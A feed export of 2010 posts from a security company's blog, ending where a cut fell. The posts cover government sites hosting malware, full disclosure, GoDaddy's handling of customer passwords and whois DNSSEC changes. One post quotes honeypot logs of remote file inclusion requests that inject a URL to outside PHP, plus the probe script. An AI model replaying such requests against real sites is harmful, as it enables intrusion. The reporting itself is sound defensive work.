gd:etag="W/&quot;CEAHRX0zcSp7ImA9WxBUFUo.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-5085173060955145411</id><published>2010-03-02T18:02:00.002-05:00</published><updated>2010-03-02T18:32:14.389-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-02T18:32:14.389-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="honeypot" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Venezuela Government site hacked and spreading malware</title><content type="html">Since we have been noticing that &lt;a href="http://blog.sucuri.net/2010/03/honeypot-analysis-full-disclosure-works.html"&gt;full-disclosure works&lt;/a&gt;, we will continue with that.&lt;br /&gt;&lt;br /&gt;We have detected in our honeypots that since January the site &lt;span style="font-weight:bold;"&gt;www.miranda.gov.ve&lt;/span&gt; (from the Venezuela state of Miranda) has been hosting malware and their IP also scanning our honeypots.&lt;br /&gt;&lt;br /&gt;We attempted to contact them a few times without any reply, so let's see if anyone will take notice now.&lt;br /&gt;&lt;br /&gt;What we saw initially was a few files being used on RFI attacks:&lt;blockquote&gt;a.b.231.227 - - [16/Feb/2010:01:32:50 -0200] "GET /show.php?path=&lt;span style="font-weight:bold;"&gt;http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt&lt;/span&gt;??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"&lt;br /&gt;a.b.231.227 - - [16/Feb/2010:01:32:56 -0200] "GET /xxx.php?path=&lt;span style="font-weight:bold;"&gt;http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt&lt;/span&gt;??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;Later we also saw them attacking our system (190.9.130.13 is their IP address):&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;190.9.130.13&lt;/span&gt; - - [19/Feb/2010:06:13:17 -0200] "GET /tonuke.php?filnavn=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;190.9.130.13&lt;/span&gt; - - [19/Feb/2010:06:13:17 -0200] "GET /xxx.php?filnavn=http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt??? HTTP/1.1" 200 36 "-" "Mozilla/5.0"&lt;/blockquote&gt;These are some of the files we found so far:&lt;blockquote&gt;$ lynx --source --dump &lt;span style="font-weight:bold;"&gt;http://www.miranda.gov.ve/images/stories/thumbs/grop_member.txt&lt;/span&gt;&lt;br /&gt;&amp;lt;? php /* Fz29ID */ e cho("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fz29ID */ &lt;br /&gt;$ lynx --source --dump &lt;span style="font-weight:bold;"&gt;http://www.miranda.gov.ve/modules/mod_sections/id1.txt&lt;/span&gt;&lt;br /&gt;&amp;lt; ? php /* Fg21ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fh21ID */ &lt;/blockquote&gt;Note that this is just what was reported from our honeypot systems (all automated). We only go deeper in the analysis when &lt;a href="http://sucuri.net"&gt;our clients&lt;/a&gt; are affected. &lt;br /&gt;&lt;br /&gt;Also, one thing that most people don't realize is that if the attackers are able to upload any file to the server and run commands in there, they can also steal confidential information, steal passwords, inject malware to visitors (via javascript), etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-5085173060955145411?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZRYuWQ0KY9PRNflJ-RduB03B-gg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZRYuWQ0KY9PRNflJ-RduB03B-gg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZRYuWQ0KY9PRNflJ-RduB03B-gg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZRYuWQ0KY9PRNflJ-RduB03B-gg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/X6jK-HVWM_4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/5085173060955145411/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/venezuela-government-site-hacked-and.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/5085173060955145411?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/5085173060955145411?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/X6jK-HVWM_4/venezuela-government-site-hacked-and.html" title="Venezuela Government site hacked and spreading malware" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/venezuela-government-site-hacked-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMGRns_cSp7ImA9WxBUFEo.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-6118149603797888038</id><published>2010-03-01T14:53:00.003-05:00</published><updated>2010-03-01T15:13:47.549-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-01T15:13:47.549-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Honeypot analysis - Full disclosure works</title><content type="html">&lt;span style="font-weight:bold;"&gt;When all else fails, *full disclosure (the process) seems to work.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Early in January, we sent a bunch of emails to the people at the Georgia Government, after we detected that they were hosting malware. We asked for contacts on Twitter. Nobody replied. Nothing got fixed.&lt;br /&gt;&lt;br /&gt;Early in January, we did the same think to the guys at the Colombia Government, and nobody replied and nothing got fixed.&lt;br /&gt;&lt;br /&gt;The good news is that &lt;a href="http://blog.sucuri.net/2010/02/colombia-government-sites-hacked-and.html"&gt;after&lt;/a&gt; &lt;a href="http://blog.sucuri.net/2010/02/georgia-government-sites-hacked-and.html"&gt;we&lt;/a&gt; posted in our blog, people from both governments contacted us and fixed their sites, removed the malware, etc. Awesome! They just needed a bit of attention to look at their security issues.&lt;br /&gt;&lt;br /&gt;However, we only go to the full-disclosure route when all else fails. Early in February we detected that one of the UNDP (United Nations development program) sites were hosting malware. We &lt;a href="http://twitter.com/sucuri_security/status/8326530213"&gt;asked for contacts&lt;/a&gt; on Twitter, got a reply and everything got fixed within a day. &lt;br /&gt;&lt;br /&gt;Same thing with the University of Rhode Island (&lt;span style="font-style:italic;"&gt;uri.edu&lt;/span&gt;). Their main site was hosting malware, and after we contacted them using the Whois information (and abuse email), everything got fixed within a day.&lt;br /&gt;&lt;br /&gt;What to take from that? If you are a site owner, please configure your abuse@ email address, and have clear contact instructions on your site. If you are a security researcher and found something wrong, and nobody listened to you. Try full-disclosure... Blog about it and they might notice.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;marketing plug&amp;gt;&lt;/span&gt;Plus, if you want this kind of monitoring for your own Internet presence, check out &lt;a href="http://sucuri.net"&gt;http://sucuri.net&lt;/a&gt;. At Sucuri Security we have two main goals: Monitor your visible Internet presence (via DNS, site content changes, whois, blacklisting status, etc), and to also monitor what is not visible (or easily accessible). So we run multiple honey pots, we monitor IRC chats used by botnets and attackers, multiple forums, etc. All with the goal to protect our clients and notify them if we see any issue in the "underground"&lt;span style="font-weight:bold;"&gt;&amp;lt;/marketing plug&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;**Notice: I am talking about full-disclosure, the process. Not the mailing list&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-6118149603797888038?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Nqxo9lLOfgZQhTapV0K0jJaETgw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Nqxo9lLOfgZQhTapV0K0jJaETgw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Nqxo9lLOfgZQhTapV0K0jJaETgw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Nqxo9lLOfgZQhTapV0K0jJaETgw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/2ioWoUycxqo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/6118149603797888038/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/03/honeypot-analysis-full-disclosure-works.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6118149603797888038?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6118149603797888038?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/2ioWoUycxqo/honeypot-analysis-full-disclosure-works.html" title="Honeypot analysis - Full disclosure works" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/03/honeypot-analysis-full-disclosure-works.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkAARH06fyp7ImA9WxBUEE4.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-2509144755604853457</id><published>2010-02-24T12:41:00.004-05:00</published><updated>2010-02-24T13:05:45.317-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-24T13:05:45.317-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="godaddy" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>GoDaddy Security update</title><content type="html">My last post &lt;a href="http://blog.sucuri.net/2010/02/godaddy-store-your-passwords-in-clear.html"&gt;GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission&lt;/a&gt; got a lot of traction and it reached the ears of the GoDaddy people!&lt;br /&gt;&lt;br /&gt;I just got off the phone with Neil Warner, GoDaddy's CSO (Chief Security Officer) and he explained the situation to me.&lt;br /&gt;&lt;br /&gt;First, I was glad that they heard the customers, heard the complains and took the time to look at it. That was his explanation:&lt;ol&gt;&lt;br /&gt;&lt;li&gt;They take security serious and spend a lot of money on intrusion/malware detection to protect their customers&lt;/li&gt;&lt;br /&gt;&lt;li&gt;They have a security team 24/7 monitoring all their shared/VPS and private servers&lt;/li&gt;&lt;br /&gt;&lt;li&gt;When they detect any issue, they try to fix the problem and that's why they tried to access my box&lt;/li&gt;&lt;br /&gt;&lt;li&gt;They store all the passwords encrypted (not one-way hashed which is the recommended), and they can only be retrieved and reversed after a member of the security team opens a ticket and explains the reason for using the password (like to investigate malware)&lt;/li&gt;&lt;/ol&gt;One thing that made me feel better was that they actually have a process in place to access the passwords and they hold their people accountable for that. Having them encrypted or in clear-text doesn't make much a difference, if the process to recover them is open to anyone in their staff... &lt;br /&gt;&lt;br /&gt;He said that most users like their free incident response and malware removal and the way they deal with security issues. &lt;br /&gt;&lt;br /&gt;He also said that they should have contacted me before accessing the box, warning me of the possible malware, and that they will do that from now on (good to know).&lt;br /&gt;&lt;br /&gt;I am happy they called and explained the situation. +1 for GoDaddy for being open, explaining the issue and trying to improve.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-2509144755604853457?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1uUjo7B6ys2ocV5WC0WA02CcR5U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1uUjo7B6ys2ocV5WC0WA02CcR5U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1uUjo7B6ys2ocV5WC0WA02CcR5U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1uUjo7B6ys2ocV5WC0WA02CcR5U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/_-fWHeDgro0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/2509144755604853457/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/godaddy-security-update.html#comment-form" title="67 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2509144755604853457?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2509144755604853457?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/_-fWHeDgro0/godaddy-security-update.html" title="GoDaddy Security update" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">67</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/godaddy-security-update.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8FRHw6fSp7ImA9WxBUEE4.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-6761587523840268416</id><published>2010-02-24T08:39:00.005-05:00</published><updated>2010-02-24T13:06:55.215-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-24T13:06:55.215-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="godaddy" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="review" /><title>GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission</title><content type="html">&lt;span style="font-weight:bold;"&gt;*UPDATE: I just got off the phone with Neil Warner, GoDaddy's CSO (Chief Security Officer) and he explained the situation to me. Check it out: &lt;a href="http://blog.sucuri.net/2010/02/godaddy-security-update.html"&gt;GoDaddy Security update&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I have been a GoDaddy user for a while and never had problems with them. In fact, differently than &lt;a href="http://nodaddy.com/"&gt;some&lt;/a&gt; people, I had great support and service from them.&lt;br /&gt;&lt;br /&gt;However, one recent situation is making me change my mind about them...&lt;br /&gt;&lt;br /&gt;I have my domains and a bunch of VPS (virtual private servers) with GoDaddy and one of those servers is/was hosting the &lt;a href="http://sucuri.net"&gt;Sucuri's official site&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;I am a bit paranoid about security and on all my servers I switch the SSHD port to a different one and restrict to only a few IP addresses. On the offical SSH port (tcp 22), I install a honeypot to detect ssh scans and which passwords/users they use (you can see some of my analysis in this post: &lt;a href=" http://blog.sucuri.net/2010/01/honeypot-analysis-looking-at-ssh-scans.html"&gt;Honeypot analysis - Looking at SSH scans&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Anyway, early this year I started posting information about &lt;a href="http://sucuri.net/?page=tools&amp;title=blacklist"&gt;web-based malware&lt;/a&gt; and a few days after I did that, I saw on my honeypot logs:&lt;blockquote&gt;&lt;br /&gt;Jan  8 06:55:28 d1 sshd[27670]: Failed password for &lt;span style="font-weight:bold;"&gt;[mygodaddyuser]&lt;/span&gt; from &lt;span style="font-weight:bold;"&gt;64.202.160.65&lt;/span&gt; port 49271 ssh2&lt;br /&gt;Jan  8 06:55:30 d1 sshd[27670]: Failed password for &lt;span style="font-weight:bold;"&gt;[mygodaddyuser]&lt;/span&gt; from &lt;span style="font-weight:bold;"&gt;64.202.160.65&lt;/span&gt; port 49271 ssh2&lt;br /&gt;Jan  8 06:56:38 d1 sshd[28528]: User root from nat-64-202-160-65.ip.secureserver.net not allowed because listed in DenyUsers&lt;br /&gt;Jan  8 06:56:38 d1 sshd[28528]: Failed none for invalid user root from 64.202.160.65 port 50727 ssh2&lt;br /&gt;Jan  8 06:56:53 d1 sshd[28528]: Failed password for invalid user root from 64.202.160.65 port 50727 ssh2&lt;br /&gt;Jan  8 06:56:55 d1 sshd[28528]: Failed password for invalid user root from 64.202.160.65 port 50727 ssh2&lt;/blockquote&gt;And checking my honeypot logs, I saw:&lt;blockquote&gt;Jan  8 06:55:28 d1 sshd[27670]: hh: &lt;span style="font-weight:bold;"&gt;user: [mygodaddyuser]|pass: [MYGODADDYPASS]&lt;/span&gt;&lt;br /&gt;Jan  8 06:55:30 d1 sshd[27670]: hh: &lt;span style="font-weight:bold;"&gt;user: [mygodaddyuser]|pass: [MYGODADDYPREVIOUSPASS]&lt;/span&gt;&lt;br /&gt;Jan  8 06:56:53 d1 sshd[28528]: hh: &lt;span style="font-weight:bold;"&gt;user: root|pass: [MYGODADDYPASS]&lt;/span&gt;&lt;/blockquote&gt;I was shocked! My first thought was that someone had stolen my GoDaddy password (that I use to login to their web page) and even my previous password! (I had changed my password a few weeks before that).&lt;br /&gt;&lt;br /&gt;I quickly ran and started a panic mode incident response, changed passwords and started to look how I got hacked and what was going on, when I decided to look at the IP address that tried to access my box:&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;$ whois 64.202.160.65&lt;/span&gt;&lt;br /&gt;[Querying whois.arin.net]&lt;br /&gt;[whois.arin.net]&lt;br /&gt;&lt;br /&gt;OrgName:    GoDaddy.com, Inc.&lt;br /&gt;OrgID:      GODAD&lt;br /&gt;Address:    14455 N Hayden Road&lt;br /&gt;Address:    Suite 226&lt;br /&gt;City:       Scottsdale&lt;br /&gt;StateProv:  AZ&lt;br /&gt;PostalCode: 85260&lt;br /&gt;Country:    US&lt;br /&gt;&lt;br /&gt;NetRange:   64.202.160.0 - 64.202.191.255&lt;br /&gt;CIDR:       64.202.160.0/19&lt;br /&gt;NetName:    GO-DADDY-SOFTWARE-INC&lt;br /&gt;NetHandle:  NET-64-202-160-0-1&lt;br /&gt;Parent:     NET-64-0-0-0-0&lt;br /&gt;NetType:    Direct Allocation&lt;br /&gt;NameServer: CNS1.SECURESERVER.NET&lt;br /&gt;NameServer: CNS2.SECURESERVER.NET&lt;br /&gt;NameServer: CNS3.SECURESERVER.NET&lt;br /&gt;Comment:&lt;br /&gt;RegDate:    2002-10-22&lt;br /&gt;Updated:    2007-06-14&lt;br /&gt;&lt;/blockquote&gt;Hum.. It came from Godaddy's own network. I was about to send an email to abuse@godaddy.com, whem I got this email:&lt;blockquote&gt;It has come to our attention that the [your site name] may be infected by malware. We would like to investigate this matter further, &lt;span style="font-weight:bold;"&gt;however the login credentials we have on file for your server do not allow us access to the server.&lt;/span&gt; In order for us to proceed to investigate the possible infection, &lt;span style="font-weight:bold;"&gt;we require that you provide the proper login credentials to access your server with administrative rights within 48 hours or by January 10th @ 2 pm MST (GMT -0700) by using our "Password Sync" option, or your server will be suspended.&lt;/span&gt; To update the logon information, please follow these steps:&lt;br /&gt;&lt;br /&gt;Log into your account.&lt;br /&gt;Click on the ‘My Account’ link.&lt;br /&gt;Click on the ‘Dedicated/Virtual Dedicated Servers’ link.&lt;br /&gt;Select the server you need to update the log on information for.&lt;br /&gt;Click on the ‘Open Manager’ link.&lt;br /&gt;Click on the Support: Sync Passwords button.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Enter the current SSH and root information and save the information.&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-weight:bold;"&gt;WTF!WTF!WTF!&lt;/span&gt; Yes, I cursed them for a while! Why?&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;They tried to SSH to my "private" server without my authorization!&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;They wanted my ROOT password and SSH access!&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;They HAD MY MAIN GODADDY PASSWORD (AND PREVIOUS ONE) in CLEAR-TEXT!&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;They almost gave me a heart attack&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;I don't know if anyone find that horrifying, but I do! I would understand storing the initial password for the server in clear-text or something like that. But the main password from my GoDaddy account? Giving their admins access to them so they can SSH to my box? Keeping my old password in clear-text too? SSHing to my box without asking my first? Wow....&lt;br /&gt;&lt;br /&gt;The end of the story... After I calmed down, I contacted them and explained about my web-based malware security research and told that I would not give anyone SSH access. If they really required that I would switched providers. They did some investigation, apologized and &lt;span style="font-style:italic;"&gt;let me stay&lt;/span&gt;... How nice they are...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-6761587523840268416?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QYU2U4Ru3ieT9z4CpTf9Gh_1liE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QYU2U4Ru3ieT9z4CpTf9Gh_1liE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QYU2U4Ru3ieT9z4CpTf9Gh_1liE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QYU2U4Ru3ieT9z4CpTf9Gh_1liE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/lRrSoA5FmMs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/6761587523840268416/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/godaddy-store-your-passwords-in-clear.html#comment-form" title="60 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6761587523840268416?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6761587523840268416?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/lRrSoA5FmMs/godaddy-store-your-passwords-in-clear.html" title="GoDaddy store your passwords in clear-text and may try to SSH to your VPS without permission" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">60</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/godaddy-store-your-passwords-in-clear.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkMHSXo-fip7ImA9WxBVF00.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-6333429474988054895</id><published>2010-02-20T17:12:00.002-05:00</published><updated>2010-02-20T17:20:38.456-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-20T17:20:38.456-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="whois" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>.ORG whois reporting DNSSEC status</title><content type="html">I was glad to see a handful of whois updates today coming from all the .ORGs that we are monitoring at &lt;a href="http://sucuri.net"&gt;Sucuri&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Basically now at the end of the Whois, it is showing if that domain is using DNSSEC or not. Example for mozilla.org:&lt;blockquote&gt;$ whois mozilla.org&lt;br /&gt;Name Server:NS1.MOZILLA.ORG&lt;br /&gt;Name Server:NS2.MOZILLA.ORG&lt;br /&gt;Name Server:NS3.MOZILLA.ORG &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DNSSEC:Unsigned&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Because of that I got hundreds of notifications about those changes:&lt;blockquote&gt;Sucuri nbim: &lt;span style="font-weight:bold;"&gt;www.kernel.org&lt;/span&gt; whois modified&lt;br /&gt;Modifications:&lt;br /&gt;86a87&lt;br /&gt;&amp;gt; DNSSEC:Unsigned&lt;br /&gt;&lt;br /&gt;Sucuri nbim: &lt;span style="font-weight:bold;"&gt;ubuntulinux.org&lt;/span&gt; whois modified&lt;br /&gt;Modifications:&lt;br /&gt;88a89&lt;br /&gt;&amp;gt; DNSSEC:Unsigned&lt;br /&gt;&lt;br /&gt;Sucuri nbim: &lt;span style="font-weight:bold;"&gt;fsf.org&lt;/span&gt; whois modified&lt;br /&gt;Modifications:&lt;br /&gt;86a87&lt;br /&gt;&amp;gt; DNSSEC:Unsigned&lt;br /&gt;&lt;/blockquote&gt;And many more... Want to stay updated to what is happening with the whois information of your domains? What about DNS changes, site changes, blacklisting status, etc? Try our &lt;a href="http://sucuri.net"&gt;Internet presence security monitoring&lt;/a&gt; for free to get started.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-6333429474988054895?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/afdmgs8KpkmmvwT6dWAHJvz3KKY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/afdmgs8KpkmmvwT6dWAHJvz3KKY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/afdmgs8KpkmmvwT6dWAHJvz3KKY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/afdmgs8KpkmmvwT6dWAHJvz3KKY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/1SoMj5uylSI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/6333429474988054895/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/org-whois-reporting-dnssec-status.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6333429474988054895?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6333429474988054895?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/1SoMj5uylSI/org-whois-reporting-dnssec-status.html" title=".ORG whois reporting DNSSEC status" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/org-whois-reporting-dnssec-status.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cNQns_cCp7ImA9WxBVFUw.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-2553443051140243843</id><published>2010-02-18T12:54:00.006-05:00</published><updated>2010-02-18T13:51:33.548-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-18T13:51:33.548-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="scan" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Colombia Government sites hacked (and spreading malware)</title><content type="html">You would expect that a security-related web site would be secure, no? What about an official web site from a Government? Should that be safe? What about a government web site about security? Shouldn't that be ultra super secure? &lt;span style="font-style:italic;"&gt;(yes, I am joking :) )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That's not always the case... &lt;span style="font-weight:bold;"&gt;&amp;lt;marketing plug&amp;gt;&lt;/span&gt;At &lt;a href="http://sucuri.net"&gt;Sucuri Security&lt;/a&gt; we have two main goals: Monitor your visible Internet presence (via DNS, site content changes, whois, blacklisting status, etc), and to also monitor what is not visible (or easily accessible). So we run multiple honey pots, we monitor IRC chats used by botnets and attackers, multiple forums, etc. All with the goal to protect our clients and notify them if we see any issue in the &lt;span style="font-style:italic;"&gt;"underground"&lt;/span&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;/marketing plug&amp;gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;With this work, we get to see a lot of sites being exploited and attacked. Most of them are small sites, but sometimes we see big companies, .govs and many .edus in there. &lt;br /&gt;&lt;br /&gt;One of those government web sites are from Colombia. And they are not a normal .gov site, they are about security and about cyber 